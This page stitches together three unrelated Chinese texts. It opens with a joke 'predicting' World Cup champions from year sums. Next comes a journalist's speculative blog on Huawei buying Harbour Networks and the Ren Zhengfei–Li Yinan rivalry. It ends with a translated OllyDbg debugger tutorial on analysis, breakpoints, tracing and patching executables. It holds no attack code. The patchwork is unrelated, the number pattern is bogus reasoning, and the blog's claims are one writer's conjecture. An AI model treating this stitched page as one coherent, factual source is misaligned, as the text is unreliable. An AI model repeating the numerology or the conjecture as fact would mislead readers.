真的有那磨巧?
1978年.1986年的冠军是阿根廷,1978+1986=3964。
1974年.1990年的冠军是德国,1974+1990=3964
1970年.1994年的冠军是巴西,1970+1994=3964
1966年.1998年的冠军是东道主,1966+1998=3964
1962年,2002年的冠军是巴西,1962+2002=3964
以此类推
2006年的世界杯冠军应该是:3964-2006=1958年的冠军巴西
中国队获得世界杯冠军的时候最早应该是3964-0=3964年
从华3变局,到港湾易帜,一个有责任感的记者,应该本着“文责自负”的态度去写作,更应该有勇气试着洞悉事件的本身及其背后。
我既对任正非有着敬佩,又对华3有着嫌弃。今天对港湾的收购,更说明了任正非放弃华3
,已成必然。
前途光明的人物和公司,有着硬朗的作风、强悍的气魄,以及光明磊落的手腕;任正非拥有这样的特质,但并不代表华3也能够学会它们领导的动作。
任正非铁拳强腕 李一男壮士断腕
我前不久贴在博客上的文章(《“待价而沽”华3系》)受到了华为3Com公司的围追堵截。参照华3的频频动作,这样说并不过分。
今天在港湾发生的事情,已经指明了华为3Com明天的道路。
第一场:华3 VS
媒体
我在写完《“待价而沽”华3系》的文章后,星期四,将其贴到了新浪博客。接着,一系列的故事发生了。随着华3采取的一系列动作,可以看出,它们对我的这篇文章的关心,超出了正常范围,“过于热切”了。
(1)首先,有网站的兄弟告诉我,华3的人联络了他们,“沟通”之后,文章从重点新闻的位置上抹去了。
(2)然后,华3的人联络我的博客编辑,要求他们从我的博客上撤去稿件。新浪编辑说,因为文章所有权属于博客本人,他们尊重版权,不能过多干涉——此时,该文章已经迅速在互联网上传播开来。
(3)周六,华3公关公司我一个朋友给我短信,问我是否可以将文章删除,因为他们公司和华3之间的业务关系。尽管这位朋友跟我私下关系很好,但是此时我对华3的做法,已经相当恼火,所以没有做出任何回应。
(4)第二周,《航空报》试图转载该文,事前曾联络我,我同意了。然而,不幸的是,华3再次得到了消息,因为此前华为在航空报上曾有过广告,所以该稿件的刊登,最后也告搁浅。
在强势的华3面前,似乎我输掉了这场比赛——依靠广告的“杀手级力量”,华3成功地狙击了我的稿件。
我需要提出的是,由于我的这篇稿件,独家采访了华3内部相当级别的经理层人物,所以真实性应当是能够保障的,这也是为什么华3的人之始至终都没有跟我直接联系,而是选择了不辞辛苦地迂回救火。
第二场:华为 VS
港湾
周日收到的消息时,华为和港湾达成了协议,全面收购港湾资产。立即有媒体分析说,华为收购港湾的目的是“先把它买下来,然后再卖掉”,还有消息称,“买了港湾之后将其并入华3”。
华为收购港湾有消息不假,但是关于收购港湾的目的,这两篇文章的看法,显然过于幼稚,甚至过于“驴唇”。
这个收购案,确实有些意外,但是并没有到令人惊讶得胡言乱语的地步。与其说是华为和港湾达成协议,全面收购港湾资产,不如说是华为和华平达成协议,全面收购港湾资产。
而对于任正非来说,他要的,恐怕不是港湾,而是李一男。
大多数媒体忽略的重要事实是,港湾总裁是李一男,但是控制港湾的力量显然已经缺失掉了——被资本控制,已经成了技术出身领导者共同的致命弱点,从快速上升PC产业中的倪光南,到互联网低谷期的王志东,再到网络设备市场已经完全成熟化的李一男。
李一男既然选择了和华为割袍断义,回归华为对于他来说,已经属于高难度的Mission
Imposable了,但“不可能”并不代表“不存在”,连利比亚都能和美国建立大使级交往,任正非和李一男,为何不可重归于好?
无可否认,在华为曾经和现有的副总裁中,除了孙亚芳,没有人比李一男更在心灵上靠近过任正非了。然而,当决裂成为必然后,过往的几年中,在任何一个华为和港湾同时出现的竞标场合,华为“即使不赢利也要干掉港湾”的咄咄逼人,已是业界共知的商业景点了。从2004年下半年开始,港湾已经开始回避参与“有华为或者华3在”
的竞标场合了。如果说,华为对待思科中国市场,给与的压力;那么,它给与港湾的,就完全可以称作压迫了。华为的压力,导致了和善的杜家滨离开了中国市场
(每次回想这一段,总使人有些伤感。就少量的接触而言,杜家滨不仅精通中国市场、而且浑身透着儒家文化,他给思科创造了太多的奇迹,如今,好像大家已经不
再提到他、或者回避提到他了);华为的压迫,则让港湾的多个梦想恍然成空。
但李一男尊重任正非的情形,一直没有改变。与此同时,李一男在媒体面前,几乎完全秉承了任正非的风格——即使分道扬镳,“武功派别”仍然完全一致。
反观任正非,也没有在任何公众场合、包括内部员工会议中,对李一男的离去做过恶评。从华为及其从属部队“华3”的种种表现,可以看出,任正非是一个“行大于言”的人。很多文章在提到李一男和任正非的矛盾问题时,总会提到李一男的“背叛”,似乎一个被鼓励的创新公司,最终成为一个离家出走的孩子,就成了无法饶恕的忤逆。
这种过于中国传统化的分析,将任正非和李一男完全对立起来。然而,试想以任正非的孤傲、驱动华为的魄力,这种庸俗化的猜测,能够有多少成立的可能?
任正非之所以那么激烈地以行动去压迫港湾和李一男,从某种意义上更是反衬出了李一男出走后孤独的任正非——因为除了李一男,我们还没有听到过在华为内部敢于当面顶撞任正非的第二人,即使是刚刚辞职的李**副总裁,也不过是在博客文章中表达出当时想要顶撞的意图,而最终也还是“算了”。
或许任正非的华为过于极端,所以才有专门成立的“打港组”,但是那只是他的“无利不用其极”的特点而已;想一想英特尔的老人说过的话“只有偏执狂才能成功”,就明白任正非的举动纯属个性使然了;毕竟,能够摇色子的人在游戏中掌握的主动性会更大。
第三场:李一男 VS
华平投资
课本里大致都有类似如此的话:对利润的渴望,是ZIBEN家及ZBZY的罪恶之源。如今,我们看到的一个又一个公司诊治(音)的暗局、一BO又一BO(音)资本翻涌的黑浪,都在注释着这个激进的经济学理论。
“李一男并没有钱。”这是我个人的论断。
要了解这一点,必须先了解“华港往事”的一些背后故事,或许这些故事已经经过一些“演绎”的成份,但是总体而言,真实和演绎都有着相同的诉求方向:李一男从华为出走的过程中乃至出走以后,他需要的不仅仅是任正非的认可,还有个人的成就感。
熟悉“华港往事”的人必须知道,任正非曾经提出的“公司内创业”,其目的,不过是要将公司内一部分元老级人物清理出局——
从这一点看,军人背景的任正非,完全继承了中国WEN·GE中的优秀斗争手段,而当这种斗争能力在华为内施展开来,没有人能够有资格成为他的对手,除了孙
亚芳——有人问我,为什么孙亚芳不可能与任正非形成矛盾?我反问他说,你见过手背觉得手心不好的吗?可惜,这位问我的人没有理解,而我也就不太想解释了。
然而,身为潜在继承者的李一男也选择了公司内创业,这一点或许是当时的任正非没有料到的;而在李一男,血气方刚、才华横溢,他需要新的成就、新的体系来证明自己,而不仅仅是在华为体系下、在任正非的关怀来证明自己。事实上,当年的李一男也确实有资格拥抱这样的梦想。
但这显然打破了华为的“公司内创业”的本质意图:一场公司内淘汰旧血的自我革新,转变成了优质基因的突然剥落;任正非自然难以接受——这对于华为而言,并非最佳的选择,而任正非作为一个优秀的企业家,他的意图是希望华为迅速地强大起来。
任正非希望李一男做安份的“TAIZI”,而李一男则已经决定了做诸侯。
既然诸侯不可得,那么他选择北上创立港湾,也就是情理之中了。所以才有了华为用设备兑付李一男2000万股份的事情——彼时的华为并不是拿不出2000万现金来,甚至可以说,华为从来不缺钱,但是任正非就是刻意不给。
于是,华平投资出现了。
从我们目前能够看到的公众信息看,华平在港湾投入总共5300万美元(另一投资商龙科创投入资800万美元),港湾也向银行陆续借贷了一些款项,大概总额在4500万美元左右(其中华平的投资担保大概有3500万美元)。银行是不做股东的,那么华平投资自然成了主要控制方。
毫无疑问,投资资本其实只是投机资本的另一个名字。天
下没有突然飞来的凤凰,甚至连乌鸦都不会有,华平入资港湾的目的,非常明确,那就是“上市圈更多的钱”。然而,华为再次搅了局,这就是业界著名的“知识产
权函件案”,这直接导致了港湾坠入竞标场外的另一个深渊。(由于相关的报道网络上已经汗牛充栋,就不再赘言了,有兴趣的人可以自己去查资料。)
我们可以转看另一桩华平投资的案例,作为参照。
大唐电信在2004年
愚人节签订的华平投资,无异于与虎谋皮。由于大唐电信没有能够尽快地实现海外上市,导致了双方关系紧张,甚至一度出现华平单方面发公告,大唐电信出面来反
驳的尴尬。而后接连着多个事情发生了:魏少军不再担任大唐电信总裁,华平投资持有大唐控股所有股权也成为实质上的赔本买卖,大唐、华平合作双输成为必然。
回看双方的合作,在2005年第三季度关于大唐微电子的利益、大唐控股的股权,以及股权转移的闹剧,确实让人汗颜。而华平在这个过程中,没有失去太多利益。尽管从市场看,大唐的合作属于失败投资案例,但是华平仍然确保了3000万美元的投资,以3200万美元返还,全身而退。
2006年5月29日,大唐集团官方网站引用了“大唐快讯”公布了华平告退的消息,这个协议是在5月12日签署的,大唐“快讯”显得慢了点。
我们再回过来看港湾。
前一阶段业界热炒的港湾出售给西门子(这一内容后面会继续分析),报价是1.1亿美元。那么这当中应当包含的投资额,应当是6100万美元,银行贷款是4500万美元,总价刚好1.1亿美元。
这样一看,就很容易发现问题:李一男的钱在哪里?
当然,或许就如传言(当时我也非常相信了),港湾卖出的是部分,也就是,需要还债的那部分,那么,留下的部分应当是李一男的。然而,对于港湾来说,如果卖出了BigHammer产品线,它还有什么是能够留下的呢?和任正非有着同样骄傲和倔强的李一男,又怎么会容忍这样的事情发生?
所以港湾已经事实上被华平控制了,才会有出售的洽谈和传闻。虽然港湾的五名董事中港湾内部独占三员,但显然,这只是人情场上的椅子,而不是法律上的定位。
落幕时分:强者华为
我无意在文章中吹捧华为,但选择再三,也只有这个标题合适。
除了一个同事来自华为、一个同学去了华为、一个媒体圈子的半拉子朋友如今在华为,我和华为没有太多接触。所以,本着“文责自负”的态度,我赞扬华为,只是因为任正非既已枭雄,也甚气魄。
华为出如此高的价格(17亿人民币)收购港湾,与其说是在吞并这个公司,不如说在挽救李一男。
试想一下吧,一个处处打压的对手、正面临分拆出售危机的窘迫者,华为突然开出加之两倍的价码(1.1亿美元的两倍),目的何在?难道任正非的华为真的有钱无处使了吗?有媒体说,任正非是要将港湾收购了然后拆掉、卖掉,我看了觉得,这个媒体的记者或许是昨天还在汽车修理厂工作——花17亿玩一个拆装游戏,即使任正非和李一男有再大的仇恨,也不会做出这样的举动。
一个给了2000万价值的设备、冷眼看着他离去的副总裁,如今用17亿的高价买回来,而且明摆着价钱高出一倍来,任正非是在给李一男机会,而这种机会既给的清晰,又给的模糊。
如果港湾出售,华平能够拿走的,仍然只属于自己的那份,一个失败的投资,能够保本就已经不错了,任正非也不会让好处旁落到
华平去。而一个港湾的价格,也可算作是任正非对于连续多年打压港湾、打压李一男的“道歉”——任正非的“行大于言”,决定了他选择这样“即使连道歉都很骄
傲的”方式。
低一次头,李一男仍然能够成为任正非心目中的卫武者、成为华为内惟一敢于顶撞自己的高级副总裁;傲一次头,李一男只能选择离开“港湾”,除了离开公司的港湾,也离开任正非可能给与他的未来港湾——这不禁让人感觉造化弄人:李一男给自己公司起的这个名字,竟然也一言成箴。
然而任正非也会有狠招。已经有消息放出来,收购后的港湾员工,将被全部派往国外市场——这意味着什么,我想在中兴、华为已经工作了数年、了解公司文化和公司利益部门规律的人,应当了然于胸了。
当然,这些员工也可以选择另一条路,签署辞职信。这就是华为的风格:你被抛弃,只是因为你不够重要。坦白而言,我不喜欢这样风格的公司,但是也只有这样风格的公司能够有所进步——进步来源于残酷。任正非领导的华为,只是拨开了伪善的面纱而已。
但华为收购港湾的目的,绝不仅限于此。
如同我前面提到的文章,如不出意外,华为3Com出售已成必然,51%的股权在3Com手中,任正非岂能甘受人使?既不可控,则弃之如陋履——这也是华3紧张却又不正面接触我的文章的原因,它们需要更多的时间来谈出售价格,而不是一篇无关紧要的文章。
港湾则可以承载华为因为出售华3而产生的企业数据系列产品缺乏的问题:港湾有自己的知识产权,华3的新东家无法控诉华为;港湾当初被华为控诉,是因为华为觉得港湾使用了自己的专利,而今已在怀抱,无须再谈。
西门子收购港湾的传言,绝非孔穴来风,甚至我早前了解的,西门子人员进驻港湾,也是确有其事。但华为高价在此,港湾、特别是华平,自然会从“有所心动”到“有所动摇”;而西门子和华为在TD-SCDMA领域的紧密关系、战略未来,让西门子放弃一个港湾,也并非难事。任正非从来没有要任何竞争对手或者合作伙伴给过面子,而这次,西门子给了他面子;但是任正非始终是骄傲的,即使要个面子,他也出了高出西门子整整一倍的价格来要下这个面子。
下一步的动作很简单:对于李一男,如果低一次头,港湾还是港湾,华平拿了自己的钱走人,李一男用华为怀抱中的港湾再次证明自己。不是向市场证明,而是向华为的几万名员工证明,向任正非证明自己。华为的数据通信部门也将陆续取代现有港湾人员,华为正统精神将全面占领港湾。
如果李一男再次选择骄傲,激怒任正非则无可避免,那样的话,港湾时代将彻底结束!而到目前,李一男也没有必要再次选择骄
傲,因为尽管任正非有着这样、那样的高傲,那也是和李一男一样的骄傲;而李一男如果也想成为传奇,必须首先懂得去理解一个已有的、自己将来最可能像似的传
奇。
任正非已经释放出一个信号,尽管他还欲说还休;李一男何去何从,只取决于他是否能够收敛骄傲的眼神。
最近辞职的李**副总裁说,华为培养不了企业家。我想,如果李一男回归华为,他可以打破这个武断的观点,而且有能力将这个观点打得支离破碎。
需要指出的是:
华为没有收购的习惯,为了李一男,任正非破例了。
华为没有出高价的可能,为了李一男,任正非同样破例了。
华为没有要人“行个方便”的必要,为了李一男,任正非也仍然破例了。
任正非铁拳强腕,李一男壮士断腕。这场掰胳膊较量过后,还有谁相信自己在离开华为之后,仍然能够照耀到任正非的光芒?(全文完)
OllyDbg完全教程
一,什么是 OllyDbg?
OllyDbg 是一种具有可视化界面的 32 位汇编-分析调试器。它的特别之处在于可以在没有源代码时解决问题
,并且可以处理其它编译器无法解决的难题。
Version 1.10 是最终的发布版本。 这个工程已经停止,我不再继续支持这个软件了。但不用担心:全新打造
的 OllyDbg 2.00 不久就会面世!
运行环境: OllyDbg 可以以在任何采用奔腾处理器的 Windows 95、98、ME、NT 或是 XP(未经完全测试)操
作系统中工作,但我们强烈建议您采用300-MHz以上的奔腾处理器以达到最佳效果。还有,OllyDbg 是极占内
存的,因此如果您需要使用诸如追踪调试[Trace]之类的扩展功能话,建议您最好使用128MB以上的内存。
支持的处理器: OllyDbg 支持所有 80×86、奔腾、MMX、3DNOW!、Athlon 扩展指令集、SSE指令集以及相关
的数据格式,但是不支持SSE2指令集。
配置: 有多达百余个(天呀!)选项用来设置 OllyDbg 的外观和运行。
数据格式: OllyDbg 的数据窗口能够显示的所有数据格式:HEX、ASCII、UNICODE、 16/32位有/无符号/HEX
整数、32/64/80位浮点数、地址、反汇编(MASM、IDEAL或是HLA)、PE文件头或线程数据块。
帮助: 此文件中包含了关于理解和使用 OllyDbg 的必要的信息。如果您还有 Windows API 帮助文件的话(
由于版权的问题 win32.hlp 没有包括在内),您可以将它挂在 OllyDbg 中,这样就可以快速获得系统函数的
相关帮助。
启动: 您可以采用命令行的形式指定可执行文件、也可以从菜单中选择,或直接拖放到OllyDbg中,或者重新
启动上一个被调试程序,或是挂接[Attach]一个正在运行的程序。OllyDbg支持即时调试。OllyDbg根本不需
要安装,可直接在软盘中运行!
调试DLLs: 您可以利用OllyDbg调试标准动态链接库 (DLLs)。OllyDbg 会自动运行一个可执行程序。这个程
序会加载链接库,并允许您调用链接库的输出函数。
源码级调试: OllyDbg 可以识别所有 Borland 和 Microsoft 格式的调试信息。这些信息包括源代码、函数
名、标签、全局变量、静态变量。有限度的支持动态(栈)变量和结构。
代码高亮: OllyDbg 的反汇编器可以高亮不同类型的指令(如:跳转、条件跳转、入栈、出栈、调用、返回
、特殊的或是无效的指令)和不同的操作数(常规[general]、
FPU/SSE、段/系统寄存器、在栈或内存中的操作数,常量)。您可以定制个性化高亮方案。
线程: OllyDbg 可以调试多线程程序。因此您可以在多个线程之间转换,挂起、恢复、终止线程或是改变线
程优先级。并且线程窗口将会显示每个线程的错误(就像调用 GETLASTERROR 返回一样)。
分析:OllyDbg 的最大特点之一就是分析。它会分析函数过程、循环语句、选择语句、表[tables]、常量、
代码中的字符串、欺骗性指令[tricky constructs]、API调用、函数中参数的数目,import表等等。. 这些
分析增加了二进制代码的可读性,减少了出错的可能性,使得我们的调试工作更加容易。
Object扫描。 OllyDbg 可以扫描Object文件/库(包括 OMF 和 COFF 格式),解压代码段[code segments]
并且对其位置进行定向。
Implib扫描。 由于一些DLL文件的输出函数使用的索引号,对于人来说,这些索引号没有实际含义。如果您有
与DLL相应的输入库[import library],OllyDbg 就可以将序号转换成符号名称。
完全支持Unicode: 几乎所有支持 ASCII 的操作同时也支持 UNICODE,反之亦然。
名称: OllyDbg 可以根据 Borland 和 Microsoft 格式的调试信息,显示输入/输出符号及名称。Object 扫
描器可以识别库函数。其中的名称和注释您可任意添加。如果DLL中的某些函数是通过索引号输出的,则您可
通过挂接输入库[import library]来恢复原来的函数名称。不仅如此,OllyDbg还能识别大量的常量符号名
(如:窗口消息、错误代码、位域[bit fields]…)并能够解码为已知的函数调用。
已知函数:OllyDbg 可以识别 2300 多个 C 和 Windows API 中的常用函数及其使用的参数。您可以添加描述
信息、预定义解码。您还可以在已知函数设定 Log 断点并可以对参数进行记录。
函数调用: OllyDbg 可以在没有调试信息或函数过程使用非标准的开始部分[prolog]和结尾部分[epilog
]的情况下,对递归调用进行回溯。
译者注:
004010D0 push ebp \
004010D1 mov ebp,esp |
004010D3 sub esp,10h |prolog
004010D6 push ebx |
004010D7 push esi |
004010D8 push edi /
……
004010C5 pop edi \
004010C6 pop esi |
004010C7 pop ebx |epilog
004010C8 mov esp,ebp |
004010CA pop ebp |
004010CB ret /
栈:在栈窗口中,OllyDbg 能智能识别返回地址和栈框架[Stack Frames]。并会留下一些先前的调用。如果
程序停在已知函数上,堆栈窗口将会对其参数进行分析解码。
译者注:栈框架[Stack Frames]是指一个内存区域,用于存放函数参数和局部变量。
SEH 链: 跟踪栈并显示结构化异常句柄链。全部链会显示在一个单独的窗口中。
搜索:方法真是太多了!可精确、模糊搜索命令或命令序列,搜索常数,搜索二进制、文本字符串,搜索全部
命令地址,搜索全部常量或地址域[address range],搜索所有能跳到选定地址的跳转,搜索所有调用和被
调用的函数,搜索所有参考字符串,在不同模块中搜索所有调用、搜索函数名称,在全部已分配的内存中搜索
二进制序列。如果搜索到多个结果,您可以对其进行快速操作。
窗口:OllyDbg 能够列出关于调试程序中的各种窗口,并且可以在窗口、类甚至选定的消息上设置断点。
资源:如果 Windows API 函数使用了参考资源串,OllyDbg 可以显示它。其支持显示的类型仅限于附带资源
[attached resources]的列表、数据显示及二进制编辑、。
断点: OllyDbg 支持各种断点:一般断点、条件断点、记录断点(比如记录函数参数到记录窗口)、内存读
写断点、硬件断点(只适用于ME/NT/2000)等。在Hit跟踪情况下,可以在模块的每条命令上都设置INT3断点
。在使用500-MHZ处理器的 Windows NT 中,OllyDbg 每秒可以处理高达 5000 个中断。
监视与监察器:每个监视都是一个表达式并能实时显示表达式的值。您可以使用寄存器、常数、地址表达式、
布尔值以及任何复杂代数运算,您还可以比较ASCII和UNICODE
字符串。监察器[inspectors]是一种包含了两个的索引序列的监视[Watches],它以二维表的形式呈现,
可以对数组和结构进行解码分析。
Heap walk.:在基于Win95的系统中,OllyDbg 可以列出所有的已分配的堆。
句柄:在基于NT的系统中,OllyDbg 可列出被调试程序的所有系统句柄。
执行:.您可以单步执行、步入子程序或者步过子程序。您也可以执行程序直到函数返回时、执行到指定地址
处,还可以自动执行。当程序运行时,您仍然可以操纵程序并能够查看内存、设置断点甚至修改代码。您也可
以任意的暂停或重启被调试的程序。
Hit跟踪:.Hit跟踪可以显示出目前已执行的指令或函数过程,帮助您检验代码的各个分支。Hit跟踪会在指定
指令到达之前设置断点,而在这个指令执行后,会把这个断点清除掉。
译者注:Hit在英文中是“击中”的意思,指令如果运行了就表示这个指令被“击中”了,没有执行的指令就
是“未击中”,这样我们就很容易看出被调试程序哪些部分运行了,而哪些没有运行。
Run跟踪: Run跟踪可以单步执行程序,它会在一个很大的循环缓冲区中模拟运行程序。这个模拟器包含了除
了SSE指令集以外的所以寄存器、标志、线程错误、消息、已经函数的参数。您可以保存命令,这样可以非常
方便地调试自修改代码(译者注:比如加壳程序)。您可以设置条件中断,条件包括地址范围、表达式、命令
。您可以将Run
跟踪信息保存到一个文件中,这样就可以对比两次运行的差别。Run跟踪可以回溯分析已执行过的上百万条命
令的各种细节。
统计: 统计[Profiler]可以在跟踪时计算某些指令出现的次数。因此您就能了解代码的哪一部分被频繁执
行。
补丁:内置汇编器能够自动找到修改过的代码段。二进制编辑器则会以ASCII、UNICODE或者十六进制的形式同
步显示修改后的数据。修改后的数据同其它数据一样,能够进行复制-粘贴操作。原来的数据会自动备份,以
便数据恢复时使用。您可以把修改的部分直接复制到执行文件中,OllyDbg会自动修正。 OllyDbg还会记录以
前调试过程中使用的所有补丁。您可以通过空格键实现补丁的激活或者禁止。
自解压文件: 当调试自解压文件时,您往往希望跳过解压部分,直接停在程序的原始入口点。OllyDbg的自解
压跟踪将会使您实现这一目的。如果是加保护的自解压段,自解压跟踪往往会失败。而一旦OllyDbg找到了入
口点,它将会跳过解压部分,并准确的到达入口点。
插件:您可以把自己的插件添加到 OllyDbg 中,以增加新的功能。OllyDbg 的插件能够访问几乎所有重要的
数据的结构、能够在 OllyDbg 的窗口中添加菜单和快捷键,能够使用100个以上的插件API函数。插件API函数
有详细的说明文档。默认安装已经包含了两个插件:命令行插件和书签插件。
UDD:OllyDbg 把所有程序或模块相关的信息保存至单独的文件中,并在模块重新加载时继续使用。这些信息
包括了标签、注释、断点、监视、分析数据、条件等等
更多:这里介绍的功能,仅仅是 OllyDbg 的部分功能。因为其具有如此丰富的功能,以至于 OllyDbg 能成为
非常方便的调试器!
二,一般原理[General principles]
我希望您能对80×86系列处理器的内部结构有所了解,同时具有一定的编写汇编程序的能力。对于Microsoft
Windows方面的知识,您也要熟悉。
OllyDbg是运行在Windows 95、Windows 98、Windows ME、Windows NT 和 Windows 2000系统下的一个单进程
、多线程的分析代码级调试工具。它可以调试PE格式的执行文件及动态链接库,并可以对其打补丁。“代码级
”意味着您可以直接与比特、字节或处理器指令打交道。OllyDbg 仅使用已公开的 Win32 API 函数,因此它
可以在所有 Windows 操作系统及后继版本中使用。但是由于我没有对 XP 系统进行彻底测试,因此不能保证
OllyDbg 功能的充分发挥。注意:OllyDbg 不支持对 .NET 程序的调试。
OllyDbg不是面向编译器的。它没有特别的规则规定必须是哪一个编译器产生的代码。因此,OllyDbg可以非常
好的处理通过编译器生成的代码,或是直接用汇编写入的代码。
OllyDbg可以并行调试程序。您无须暂停执行程序,就可以浏览代码和数据,设置断点、停止或恢复线程,甚
至直接修改内存。(这可以视为一种软件调试的模式,与之相对的硬件模式则是当进程在运行时调试器被阻滞
,反之亦然)。假使所需的操作比较复杂,OllyDbg会让进程终止一小段时间,但是这种暂停对于用户来说是
透明的。
有时进程会发生非法操作。您可以把OllyDbg设置成即时[just-in-time]调试器,它会挂接出错程序,并停
在程序产生异常的地方。
通过OllyDbg,您可以调试单独的DLL[standalone DLLs]文件。操作系统不能直接运行 DLL 文件,因此
OllyDbg 将一个可以加载 DLL 的小程序压缩到资源里,这个程序允许您调用最多10个参数的输出函数。
OllyDbg是完全面向模块[module-oriented]的。模块[Module]包括可执行文件(扩展名通常为.EXE)和在启
动时加载或需要时动态加载的动态链接库(扩展名通常为.DLL
)。在调试期间,您可以设置断点[breakpoints]、定义新的标签[labels]、注释[comment]汇编指令,
当某个模块从内存中卸载[unload]时,调试器会把这些信息保存在文件中,文件名就是模块的名称,扩展名
为.UDD(表示 用户自定义文件[User-Defined Data])当OllyDbg下一次加载该模块时,它会自动恢复所有
的调试信息,而不管是哪一个程序使用这个模块。假设您正在调试程序Myprog1,这个程序使用了Mydll。您在
Mydll 中设置了一些断点,然后您开始调试Myprog2,这个程序同样使用了Mydll。这时您会发现,所有 Mydll
中的断点依然存在,即使 Mydll 加载到不同的位置!
一些调试器把被调试进程的内存当作一个单一的(并且大部分是空的)大小为2 ^32字节的区域。OllyDbg采用
了与之不同的技术:在这里,内存由许多独立的块组成,任何对内存内容的操作都被限制在各自的块内。在大
多数情况下,这种方式工作得很好并且方便了调试。但是,如果模块包含好几个可执行段[executable
sections],您将不能一次看到全部代码,然而这种情况是非常少见的。
OllyDbg 是一个很占用内存的程序[memory-hungry application]。它在启动时就需要 3 MB,并且当您第一
次装载被调试的程序时还需要一到两兆的内存。每一次的分析、备份、跟踪或者文件数据显示都需要占用一定
的内存。因此当您调试一个很大的项目,发现程序管理器显示有 40 或 60 兆内存被占用时,请不要惊慌。
为了有效地调试一些不带源码的程序,您必须首先理解它是如何工作的。OllyDbg 包含的大量特性可以使这种
理解变得非常容易。
首先,OllyDbg包含一个内置的代码分析器。分析器遍历整个代码,分出指令和数据,识别出不同的数据类型
和过程,分析出标准API函数(最常用的大约有1900个)的参数并且试着猜出未知函数的参数数目。您也可以
加入自己的函数说明[your own function descriptions]。它标记出程序入口点和跳转目的地,识别出跳转
表[table-driven switches]和指向字符串的指针,加入一些注释,甚至标示出跳转的方向等等。在分析结
果的基础上,调用树[call tree]显示哪些函数被指定过程调用(直接或间接)并且识别出递归调用、系统
调用和叶子过程[leaf procedures]。如果需要的话,您可以设置解码提示[decoding hints]来帮助分析
器解析那些不明确的代码或数据。
OllyDbg还包含Object扫描器[Object Scanner]。如果您有库文件[libraries]或目标文件[object files
],扫描器会在被调试的程序中定位这些库函数。在全部函数调用中,对标准函数的调用占很重要的一部分(
据我估计可达70%)。如果您知道正要被调用的函数的功能,您就不必把注意力集中在这个函数上,可以简单
地单步步过[
step over]这个call。分析器知道400多个标准C函数,比如fopen和memcpy。然而我必须承认当前版本的
OllyDbg不能定位很短的函数(比一个return命令多不了多少的)或相似的函数(只在重定位上有不同)。
Object扫描器[Object scanner]也能够识别输入库[import libraries]。如果某个DLL是按序号输出的,您不
会看到函数名,只会发现一堆无意义的神秘数字。这种DLL的开发者通常会提供一个输入库来实现函数符号名
与序号间的对应。让OllyDbg使用这个输入库,它就会恢复原始的函数符号名。
面向对象的语言(如C++),使用了一种叫做名称修饰[name mangling]的技术,把函数类型和参数都加入函
数名中。OllyDbg 可以解码[demangle]这种函数名,使程序更易读。
译者注:C++的名称修饰是编译器将函数的名称转变成为一个唯一的字符串的过程,这个字符串会对函数的类
、其命名空间、其参数表,以及其他等等进行编码。 C++的名称修饰适用于静态成员函数,也适用于非静态成
员函数。静态函数的名称修饰的一个好处之一,是能够在不同的类里使用同一个名称来声明两个或者更多的静
态成员函数—-而不会发生名称上的冲突。
OllyDbg完全支持 UNICODE,几乎所有对 ASCII 字符串的操作都可以同样应用于 UNICODE。
汇编指令都是很相似的。您经常会搞不清自己是不是已经跟踪过某一段代码。在 OllyDbg 中您可以加入自己
的标签[labels]和注释[comments]。这些极大地方便了调试。注意一旦您注释了某个DLL,以后每次加载
这个DLL时,注释和标签都有效—-尽管您在调试不同的程序。
OllyDbg可以跟踪标准的栈帧[stack frames](由PUSH EBP; MOV EBP,ESP所创建的)。现代编译器有禁止产
生标准栈框架的选项,在这种情况下分配栈[stack walk
]是不可能的。当程序运行到已知的函数时,栈窗口[stack window]解析它的参数,调用栈[Call stack]
窗口显示到达当前位置所调用函数的序列。
现代的面向对象应用程序广泛地使用了一种叫做结构化异常处理[Structured Exception Handling,SHE]的
技术。SHE窗口[SEH window] 可以显示异常处理链。
多种不同的搜索[search]选项可以让您找到二进制代码或数据、命令或命令序列、常量或字符串、符号名或
在 Run跟踪中的一条记录。
对于任何地址或常量,OllyDbg 可以找出参考[referencing]到该地址或常量的全部命令的列表。然后您可
以在这个列表里找出对您来说是重要的参考。举例来说,某个函数可能被直接调用,或者经过编译器优化后把
地址放入寄存器间接调用,或者把地址压入堆栈作为一个参数—-没问题,OllyDbg 会找出所有这样的地方。
它甚至能找到并列出所有和某个指定的位置有关的跳转。(真的?哦,天哪!……)
OllyDbg 支持所有标准类型的断点[breakpoints]—-非条件和条件断点、内存断点(写入或访问)、硬件
断点或在整个内存块上下断点(后两项功能只在 Window ME,NT,2000,XP中有效)。条件表达式可以非常复杂
(“当 [ESP+8] 的第 2 位被设置,并且 123456 位置处的字[word]小于10,或者 EAX 指向一个以“ABC”
开头的 UNICODE 字串,但跳过前10次断点而在第11次中断”)。您可以设定一条或多条指令,当程序暂停时
由OllyDbg传递给插件插件[plugins]。除了暂停,您还可以记录某个表达式的值(可以带有简短的说明),
或者记录 OllyDbg 已知的函数的参数。在Athlon 2600+、Windows2000 环境下,OllyDbg 可以每秒处理多达
25000 个条件断点。
另一个有用的特性是跟踪。OllyDbg 支持两种方式的跟踪:hit和run。在第一种情况下,它对指定范围内的每
条指令上设置断点(比如在全部可执行代码中)。当到达设断的指令后, OllyDbg 清除断点并且把该指令标
记为hit。这种方法可以用来检测某段代码是否被执行。Hit跟踪速度惊人的快,在一个很短时间的启动后程序
几乎达到了全速(译者注:这应该是与不进行调试时速度相比而言)。因为INT3断点可能对数据有灾难性的影
响,所以我建议不要使用模糊识别过程。当代码没有被分析时Hit跟踪是不可以使用的。
Run跟踪[Run trace]是一步一步地执行程序,同时记录精确的运行历史和所有寄存器的内容、已知的参数和
可选的指令(当代码是自修改时会有帮助)。当然,这需要大量的内存(每个指令需要15至50个字节,取决于
调试的模式)但是可以精确地回溯和分析。您可以只在选定的一段代码甚至是一条指令中进行Run跟踪,或者
您可以跳过无关紧要的代码。对于每个地址,OllyDbg能够计算这个地址在Run跟踪日志中出现的次数,虽然会
导致执行缓慢但是可以得到代码执行的统计。比如说,某命令让您在每个已识别的过程入口处进行Run跟踪,
那么统计[profile]就会给您每个过程被调用的次数。在到达某条指令、某个地址范围或指令计数器达到某
一数值时Run跟踪可以自动地暂停[pause]。
在多线程程序里OllyDbg可以自动管理线程[threads],如果您单步调试或跟踪程序,它会自动恢复当前线程
而挂起其它线程。如果您运行程序,OllyDbg 会恢复先前的线程状态。
您可以为内存块建立快照(叫做备份)。OllyDbg会高亮显示所有的改动。您可以把备份保存到文件或从文件
中读取出来,从而发现两次运行的不同之处。您可以查看备份,搜索下一处改动,恢复全部或选定的改动。补
丁管理器[Patch manager]记录了上次应用到程序中的所有补丁,在下次调试时可以再次应用它们。
